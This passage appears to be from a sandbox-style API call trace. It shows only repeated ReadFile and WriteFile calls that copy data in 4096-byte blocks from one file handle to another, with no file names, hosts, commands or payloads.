lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.458] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.458] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.458] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.461] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.461] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.461] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.461] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.462] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.462] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.462] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.462] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.462] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.462] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.462] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.462] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.463] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.463] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.463] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.463] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.463] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.463] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.463] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.463] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.463] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.464] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.464] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.464] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.464] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.464] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.464] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.464] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.464] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.465] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.465] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.465] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.465] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.465] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.465] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.465] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.466] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.466] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.467] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.467] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.467] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.467] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.467] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.467] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.467] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.468] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.468] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.468] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.468] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.468] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.468] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.468] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.468] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.468] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.469] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.469] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.469] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.469] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.469] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.469] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.469] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.469] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.470] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.470] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.471] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.471] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.471] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.471] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.471] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.471] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.472] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.472] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.472] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.472] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.472] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.472] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.472] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.472] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.472] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.473] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.473] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.473] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.473] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.473] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.473] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.473] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.473] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.473] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.474] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.474] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.474] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.474] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.474] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.474] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, 